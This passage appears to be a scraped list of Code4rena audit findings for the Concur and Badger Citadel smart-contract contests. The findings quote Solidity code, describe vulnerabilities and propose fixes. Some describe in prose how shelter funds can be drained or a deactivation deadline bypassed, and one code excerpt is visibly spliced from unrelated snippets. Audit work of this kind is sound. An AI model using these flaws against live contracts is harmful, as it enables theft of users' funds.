https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L121-L130 ``` function exitShelter(uint256[] calldata _pids) external onlyOwner { for(uint256 i = 0; i<_pids.length; i++){ IRewardStaking pool = IRewardStaking(convexPool[_pids[i]]); IERC20 lpToken = IERC20( pool.poolInfo(_pids[i]).lptoken ); amountInShelter[lpToken] = 0; shelter.deactivate(lpToken); } } ``` https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L309-L331 ``` function withdraw(uint256 _pid, uint256 _amount) external nonReentrant whenNotInShelter(_pid) { WithdrawRequest memory request = withdrawRequest[_pid][msg.sender]; require(request.epoch < currentEpoch() && deposits[_pid][msg.sender].epoch + 1 < currentEpoch(), \"wait\"); require(request.amount >= _amount, \"too much\"); _checkpoint(_pid, msg.sender); deposits[_pid][msg.sender].amount -= uint192(_amount); if (_amount > 0) { IRewardStaking(convexPool[_pid]).withdrawAndUnwrap(_amount, false); IERC20 lpToken = IERC20( IRewardStaking(convexPool[_pid]).poolInfo(_pid).lptoken ); lpToken.safeTransfer(msg.sender, _amount); uint256 pid = masterChef.pid(address(lpToken)); masterChef.withdraw(msg.sender, pid, _amount); } delete withdrawRequest[_pid][msg.sender]; //events emit Withdrawn(msg.sender, _amount); } ``` ## Tools Used Manual code review. Confirmation from Taek. ## Recommended Mitigation Steps Consider re-depositing LP tokens upon calling `exitShelter`. This should ensure the same tokens can be reclaimed by users wishing to exit the `ConvexStakingWrapper.sol` contract. "}, {"title": "Masterchef: Improper handling of deposit fee", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/138", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/main/contracts/MasterChef.sol#L170-L172 # Vulnerability details ## Impact If a pool\u2019s deposit fee is non-zero, it is subtracted from the amount to be credited to the user. ```jsx if (pool.depositFeeBP > 0) { uint depositFee = _amount.mul(pool.depositFeeBP).div(_perMille); user.amount = SafeCast.toUint128(user.amount + _amount - depositFee); } ``` However, the deposit fee is not credited to anyone, leading to permanent lockups of deposit fees in the relevant depositor contracts (StakingRewards and ConvexStakingWrapper for now). ## Proof of Concept ### Example 1: ConvexStakingWrapper Assume the following - The [curve cDai / cUSDC / cUSDT LP token](https://etherscan.io/address/0x9fC689CCaDa600B6DF723D9E47D84d76664a1F23) corresponds to `pid = 1` in the convex booster contract. - Pool is added in Masterchef with `depositFeeBP = 100 (10%)`. 1. Alice deposits 1000 LP tokens via the ConvexStakingWrapper contract. A deposit fee of 100 LP tokens is charged. Note that the `deposits` mapping of the ConvexStakingWrapper contract credits 1000 LP tokens to her. 2. However, Alice will only be able to withdraw 900 LP tokens. The 100 LP tokens is not credited to any party, and is therefore locked up permanently (essentially becomes protocol-owned liquidity). While she is able to do `requestWithdraw()` for 1000 LP tokens, attempts to execute `withdraw()` with amount = 1000 will revert because she is only credited 900 LP tokens in the Masterchef contract. ### Example 2: StakingRewards - CRV pool is added in Masterchef with `depositFeeBP = 100 (10%)`. 1. Alice deposits 1000 CRV into the StakingRewards contract. A deposit fee of 100 CRV is charged. 2. Alice is only able to withdraw 900 CRV tokens, while the 100 CRV is not credited to any party, and is therefore locked up permanently. These examples are non-exhaustive as more depositors can be added / removed from the Masterchef contract. ## Recommended Mitigation Steps I recommend shifting the deposit fee logic out of the masterchef contract into the depositor contracts themselves, as additional logic would have to be added in the masterchef to update the fee recipient\u2019s state (rewardDebt, send pending concur rewards, update amount), which further complicates matters. As the fee recipient is likely to be the treasury, it is also not desirable for it to accrue concur rewards. ```jsx if (pool.depositFeeBP > 0) { uint depositFee = _amount.mul(pool.depositFeeBP).div(_perMille); user.amount = SafeCast.toUint128(user.amount + _amount - depositFee); UserInfo storage feeRecipient = userInfo[_pid][feeRecipient]; // TODO: update and send feeRecipient pending concur rewards feeRecipient.amount = SafeCast.toUint128(feeRecipient.amount + depositFee); // TODO: update fee recipient's rewardDebt } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/129", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Transfer to treasury can register as succeeded when failing in `_calcRewardIntegral`", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/120", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2022-02-concur-findings", "body": "Transfer to treasury can register as succeeded when failing in `_calcRewardIntegral`"}, {"title": "If The Staking Token Exists In Both `StakingRewards.sol` And `ConvexStakingWrapper.sol` Then It Will Be Possible To Continue Claiming Concur Rewards After The Shelter Has Been Activated", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/117", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/MasterChef.sol https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/StakingRewards.sol # Vulnerability details ## Impact Staking tokens are used to deposit into the `StakingRewards.sol` and `ConvexStakingWrapper.sol` contracts. Once deposited, the user is entitled to Concur rewards in proportion to their staked balance and the underlying pool's `allocPoint` in the `MasterChef.sol` contract. The `Shelter.sol` mechanism allows the owner of the `ConvexStakingWrapper.sol` to react to emergency events and protect depositor's assets. The staking tokens can be withdrawn after the grace period has passed. However, these staking tokens can be deposited into the `StakingRewards.sol` contract to continue receiving Concur rewards not only for `StakingRewards.sol` but also for their `ConvexStakingWrapper.sol` deposited balance which has not been wiped. As a result, users are able to effectively claim double the amount of Concur rewards they should be receiving. ## Proof of Concept https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/MasterChef.sol https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/StakingRewards.sol https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol ## Tools Used Manual code review. ## Recommended Mitigation Steps Ensure that staking tokens cannot be deposited in both the `StakingRewards.sol` and `ConvexStakingWrapper.sol` contracts. If this is intended behaviour, it may be worthwhile to ensure that the sheltered users have their deposited balance wiped from the `MasterChef.sol` contract upon being sheltered. "}, {"title": "Users Will Lose Concur Rewards If The Shelter Mechanism Is Enacted On A Pool", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/116", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/MasterChef.sol # Vulnerability details ## Impact The shelter mechanism aims to protect the protocol's users by draining funds into a separate contract in the event of an emergency. However, while users are able to reclaim their funds through the `Shelter.sol` contract, they will still have a deposited balance from the perspective of `ConvexStakingWrapper.sol`. However, if the shelter mechanism is enacted before users are able to claim their Concur rewards, any accrued tokens will be lost and the `MasterChef.sol` contract will continue to allocate tokens to the sheltered pool which will be forever locked within this contract. There is currently no way to remove sheltered pools from the `MasterChef.sol` contract, hence any balance lost in the contract cannot be recovered due to a lack of a sweep mechanism which can be called by the contract owner. ## Proof of Concept https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/MasterChef.sol ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider removing sheltered pools from the `MasterChef.sol` Concur token distribution. It is important to ensure `massUpdatePools` is called before making any changes to the list of pools. Additionally, removing pools from this list may also create issues with how `_pid` is produced on each new pool. Therefore, it may be worthwhile to rethink this mechanism such that `_pid` tracks some counter variable and not `poolInfo.length - 1`. "}, {"title": "Users Will Lose Rewards If The Shelter Mechanism Is Enacted Before A Recent Checkpoint", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/115", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol # Vulnerability details ## Impact The shelter mechanism aims to protect the protocol's users by draining funds into a separate contract in the event of an emergency. However, while users are able to reclaim their funds through the `Shelter.sol` contract, they will still have a deposited balance from the perspective of `ConvexStakingWrapper.sol`. Because users will only receive their rewards upon depositing/withdrawing their funds due to how the checkpointing mechanism works, it is likely that by draining funds to the `Shelter.sol` contract, users will lose out on any rewards they had accrued up and until that point. These rewards are unrecoverable and can potentially be locked within the contract if the reward token is unique and only belongs to the sheltered `_pid`. ## Proof of Concept https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider allowing users to call a public facing `_checkpoint` function once their funds have been drained to the `Shelter.sol` contract. This should ensure they receive their fair share of rewards. Careful consideration needs to be made when designing this mechanism, as by giving users full control of the `_checkpoint` function may allow them to continue receiving rewards after they have withdrawn their LP tokens. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/110", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "`ConvexStakingWrapper.enterShelter()` May Erroneously Overwrite `amountInShelter` Leading To Locked Tokens", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/109", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L107-L119 https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L132-L135 # Vulnerability details ## Impact The shelter mechanism provides emergency functionality in an effort to protect users' funds. The `enterShelter` function will withdraw all LP tokens from the pool, transfer them to the shelter contract and activate the shelter for the target LP token. If this function is called again on the same LP token, the `amountInShelter` value is overwritten, potentially by the zero amount. As a result its possible that the shelter is put in a state where no users can withdraw from it or only a select few users with a finite number of shares are able to. Once the shelter has passed its grace period, these tokens may forever be locked in the shelter contract. ## Proof of Concept https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L107-L119 ``` function enterShelter(uint256[] calldata _pids) external onlyOwner { for(uint256 i = 0; i<_pids.length; i++){ IRewardStaking pool = IRewardStaking(convexPool[_pids[i]]); uint256 amount = pool.balanceOf(address(this)); pool.withdrawAndUnwrap(amount, false); IERC20 lpToken = IERC20( pool.poolInfo(_pids[i]).lptoken ); amountInShelter[lpToken] = amount; lpToken.safeTransfer(address(shelter), amount); shelter.activate(lpToken); } } ``` https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L132-L135 ``` function totalShare(IERC20 _token) external view override returns(uint256) { // this will be zero if shelter is not activated return amountInShelter[_token]; } ``` ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider adding to the `amountInShelter[lpToken]` mapping instead of overwriting it altogether. This will allow `enterShelter` to be called multiple times with no loss of funds for the protocol's users. "}, {"title": "`MasterChef.updatePool()` Fails To Update Reward Variables If `block.number >= endBlock`", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/107", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-concur-findings", "body": "`MasterChef.updatePool()` Fails To Update Reward Variables If `block.number >= endBlock`"}, {"title": "Shelter `claimed` mapping is set with `_to` address and not `msg.sender`", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/103", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/Shelter.sol#L55 # Vulnerability details # Impact Any user can withdraw all the funds from the shelter. This is done by calling withdraw repeatedly until all funds are drained. You only need to have a small share. Even if the `claimed` mapping was checked, there would still be a vulnerability. This is because the `claimed` mapping is updated with the `_to` address, not the `msg.sender` address. Remediation is to change the `_to` to `msg.sender`. https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/Shelter.sol#L55 "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "`USDMPegRecovery.provide()` Will Fail If There Is An Excess Of `usdm` Tokens", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/94", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/main/contracts/USDMPegRecovery.sol#L73-L82 # Vulnerability details ## Impact The `provide` function does not take a `_steps` argument and will instead calculate `addingLiquidity` by truncating amounts under `step`. As a result, if there is an excess of `usdm` such that the truncated amount exceeds the contract's `pool3` truncated balance, then the function will revert due to insufficient `pool3` collateral. This will prevent guardians from effectively providing liquidity whenever tokens are available. Consider the following example: - The contract has `500000e18` `usdm` tokens and `250000e18` `pool3` tokens. - `addingLiquidity` will be calculated as `500000e18 / 250000e18 * 250000e18`. - The function will attempt to add `500000e18` `usdm` and `pool3` tokens in which there are insufficient `pool3` tokens in the contract. As a result, it will revert even though there is an abundance of tokens that satisfy the `step` amount. ## Proof of Concept https://github.com/code-423n4/2022-02-concur/blob/main/contracts/USDMPegRecovery.sol#L73-L82 ``` function provide(uint256 _minimumLP) external onlyGuardian { require(usdm.balanceOf(address(this)) >= totalLiquidity.usdm, \" _startBlock ? block.number : _startBlock; totalAllocPoint = totalAllocPoint.add(_allocationPoints); require(pid[_token] == 0, \"already registered\"); // pid starts from 0 poolInfo.push( PoolInfo({ depositToken: IERC20(_token), allocPoint: _allocationPoints, lastRewardBlock: lastRewardBlock, accConcurPerShare: 0, depositFeeBP: _depositFee }) ); pid[_token] = poolInfo.length - 1; } ## Tools Used Manual Review ## Recommended Mitigation Steps It recommended to change the visibility of the function to External to optimize the usage of gas. "}, {"title": "Gas report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Handle wuwe1 # Vulnerability details # Cache array length in for loops can save gas ## POC > Caching the array length in the stack saves around 3 gas per iteration. https://github.com/code-423n4/2022-02-concur/blob/main/contracts/ConcurRewardPool.sol#L35 ```solidity function claimRewards(address[] calldata _tokens) external override { for (uint256 i = 0; i < _tokens.length; i++) { uint256 getting = reward[msg.sender][_tokens[i]]; IERC20(_tokens[i]).safeTransfer(msg.sender, getting); reward[msg.sender][_tokens[i]] = 0; } } ``` # Dead code Remove dead code in https://github.com/code-423n4/2022-02-concur/blob/main/contracts/MasterChef.sol#L19 # public to external These function can be external. https://github.com/code-423n4/2022-02-concur/blob/main/contracts/ConvexStakingWrapper.sol#L93 https://github.com/code-423n4/2022-02-concur/blob/main/contracts/MasterChef.sol#L86 https://github.com/code-423n4/2022-02-concur/blob/main/contracts/MasterChef.sol#L127 # state can be constant These state variables can be constant https://github.com/code-423n4/2022-02-concur/blob/main/contracts/MasterChef.sol#L50 https://github.com/code-423n4/2022-02-concur/blob/main/contracts/MasterChef.sol#L56 https://github.com/code-423n4/2022-02-concur/blob/main/contracts/MasterChef.sol#L57 "}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L150 # Vulnerability details ## Impact In NFTMarketOffer.sol the adminCancelOffers() function has comments above it that mention \"tokenIds The ids of the NFTs to cancel. This must be the same length as `nftContracts`\" This means that both the tokensIds and nftContracts arrays must be the same length but this is not required in the code of the function itself which can lead to the function failing. ## Proof of Concept https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L150 ## Tools Used Manual code review ## Recommended Mitigation Steps Add to adminCancelOffers() function: require(nftContracts.length == tokenIds.length, Arrays must be same length\"); "}, {"title": "deposit in ConvexStakingWrapper will most certainly revert", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/33", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Handle wuwe1 # Vulnerability details ## Proof of Concept https://github.com/code-423n4/2022-02-concur/blob/main/contracts/ConvexStakingWrapper.sol#L94-L99 ```solidity address mainPool = IRewardStaking(convexBooster) .poolInfo(_pid) .crvRewards; if (rewards[_pid].length == 0) { pids[IRewardStaking(convexBooster).poolInfo(_pid).lptoken] = _pid; convexPool[_pid] = mainPool; ``` `convexPool[_pid]` is set to `IRewardStaking(convexBooster).poolInfo(_pid).crvRewards;` `crvRewards` is a `BaseRewardPool` like this one https://etherscan.io/address/0x8B55351ea358e5Eda371575B031ee24F462d503e#code. `BaseRewardPool` does not implement `poolInfo` https://github.com/code-423n4/2022-02-concur/blob/main/contracts/ConvexStakingWrapper.sol#L238 ```solidity IRewardStaking(convexPool[_pid]).poolInfo(_pid).lptoken ``` Above line calls `poolInfo` of `crvRewards` which causes revert. ## Recommended Mitigation Steps According to Booster's code https://etherscan.io/address/0xF403C135812408BFbE8713b5A23a04b3D48AAE31#code ```solidity //deposit lp tokens and stake function deposit(uint256 _pid, uint256 _amount, bool _stake) public returns(bool){ require(!isShutdown,\"shutdown\"); PoolInfo storage pool = poolInfo[_pid]; require(pool.shutdown == false, \"pool is closed\"); //send to proxy to stake address lptoken = pool.lptoken; IERC20(lptoken).safeTransferFrom(msg.sender, staker, _amount); ``` `convexBooster` requires `poolInfo[_pid].lptoken`. change L238 to ```solidity IRewardStaking(convexBooster).poolInfo(_pid).lptoken ``` "}, {"title": "Deactivate function can be bypassed", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/28", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Handle csanuragjain # Vulnerability details ## Impact onlyClient can deactivate a token even after deadline is passed and transfer all token balance to itself ## Proof of Concept 1. Navigate to contract at https://github.com/code-423n4/2022-02-concur/blob/main/contracts/Shelter.sol 2. Observe that token can only be deactivated if activated[_token] + GRACE_PERIOD > block.timestamp. We will bypass this 3. onlyClient activates a token X using the activate function 4. Assume Grace period is crossed such that activated[_token] + GRACE_PERIOD < block.timestamp 5. Now if onlyClient calls deactivate function, it fails with \"too late\" 6. But onlyClient can bypass this by calling activate function again on token X which will reset the timestamp to latest in activated[_token] and hence onlyClient can now call deactivate function to disable the token and retrieve all funds present in the contract to his own address ## Recommended Mitigation Steps Add below condition to activate function ``` function activate(IERC20 _token) external override onlyClient { require(activated[_token]==0, \"Already activated\"); activated[_token] = block.timestamp; savedTokens[_token] = _token.balanceOf(address(this)); emit ShelterActivated(_token); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Gas Optimization report for Concur finance", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/25", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimization report for Concur finance"}, {"title": "Gas savings", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/24", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas savings"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "execute in VoteProxy should be payable", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/17", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Handle wuwe1 # Vulnerability details ## Impact `execute` will revert when `msg.value > 0` ## Proof of Concept Lacking `payable` mutability specifier. https://github.com/code-423n4/2022-02-concur/blob/main/contracts/VoteProxy.sol#L28-L35 ```solidity function execute( address _to, uint256 _value, bytes calldata _data ) external onlyOwner returns (bool, bytes memory) { (bool success, bytes memory result) = _to.call{value: _value}(_data); return (success, result); } ``` ## Recommended Mitigation Steps Add `payable` mutability specifier. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/13", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Mark ConvexStakingWrapper.addRewards as External", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Handle Heartless # Vulnerability details ## Impact external visibility uses less gas than public visibility. addRewards is never called internally in this project so does not need public visibility. addRewards was public in the original source from convex because they called addRewards() internally in the initialize() function, which ConvexStakingWrapper does not have. ## Proof of Concept Line 93 in ConvexStakingWrapper.sol ## Tools Used ## Recommended Mitigation Steps Change addRewards visibility to external. "}, {"title": "Gas Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/112", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-badger-citadel-findings", "body": "Gas Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/110", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/108", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/107", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "Owner can steal input tokens", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/105", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-badger-citadel-findings", "body": "Owner can steal input tokens"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/97", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA report"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-badger-citadel-findings", "body": "QA report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/73", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/64", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "[WP-H3] `saleRecipient` can rug buyers", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/61", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-badger-citadel-findings", "body": "[WP-H3] `saleRecipient` can rug buyers"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/56", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA report"}, {"title": "Seven ways in which the Owner and Proxy Admin can make users lose funds (\"rug vectors\")", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/50", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2022-02-badger-citadel-findings", "body": "Seven ways in which the Owner and Proxy Admin can make users lose funds (\"rug vectors\")"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/48", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/35", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)"], "target": 